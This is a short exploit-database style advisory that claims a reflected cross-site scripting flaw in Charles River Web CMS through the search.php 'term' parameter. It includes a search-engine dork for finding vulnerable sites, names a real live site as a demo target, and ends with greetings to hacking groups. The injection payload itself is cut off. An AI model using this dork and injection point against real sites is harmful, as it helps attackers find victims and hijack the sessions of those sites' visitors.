######################################################## # # Exploit Title : Charles-River-Web Cms Cross Site Scripting Vulnerabilitiy # # Author : IrIsT.Ir # # Discovered By : Am!r # # Home : http://IrIsT.Ir & Http://Security7.ir # # Software Link : http://www.charlesriverweb.com/ # # Security Risk : High # # Version : All Version # # Tested on : GNU/Linux Ubuntu - Windows Server - win7 # # Dork : "Powered by Charles River Web" # ######################################################## # # Expl0iTs : # # [TarGeT]/search.php?term="> # # D3m0 : # # pubs.healtheffects.org/search.php?term=[Xss]&submit=Search # ######################################################### # # Greats : Zarbat.Org - Aria-Security.Com - datacoders.org - black-hg.org # # AjaxTm.Com - Sepehr-Team.Org And All Iranian Hackers # #########################################################